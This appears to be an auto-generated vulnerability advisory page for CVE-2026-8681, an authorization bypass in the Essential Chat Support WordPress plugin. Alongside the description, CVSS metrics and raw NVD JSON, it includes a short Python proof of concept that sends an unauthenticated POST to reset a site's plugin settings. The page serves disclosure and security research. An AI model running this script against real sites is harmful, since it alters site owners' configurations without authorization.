Security Vulnerability Report
中文
CVE-2026-8681 CVSS 5.3 MEDIUM

CVE-2026-8681

Published: 2026-05-16 03:16:21
Last Modified: 2026-05-16 03:16:21

Description

The Essential Chat Support plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.0.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to reset all plugin configuration settings — including general settings, display rules, custom CSS, and WooCommerce tab settings — to their defaults by sending a POST request with ecs_reset_settings=1.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Essential Chat Support <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_url): """ PoC for CVE-2026-8681 Authorization Bypass Resets plugin settings by sending a POST request. """ # The endpoint might be wp-admin/admin-post.php or the plugin settings page # Adjust the endpoint based on the specific plugin implementation if necessary. url = f"{target_url}/wp-admin/admin-post.php" data = { "ecs_reset_settings": "1" } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Settings may have been reset.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" exploit_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8681", "sourceIdentifier": "[email protected]", "published": "2026-05-16T03:16:21.007", "lastModified": "2026-05-16T03:16:21.007", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Essential Chat Support plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.0.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to reset all plugin configuration settings — including general settings, display rules, custom CSS, and WooCommerce tab settings — to their defaults by sending a POST request with ecs_reset_settings=1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/essential-chat-support/trunk/includes/admin/settings/register-settings.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-chat-support/trunk/includes/ecs-functions.php#L33", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6b98ea22-4c82-45c6-8e29-75cc9a9185be?source=cve", "source": "[email protected]"}]}}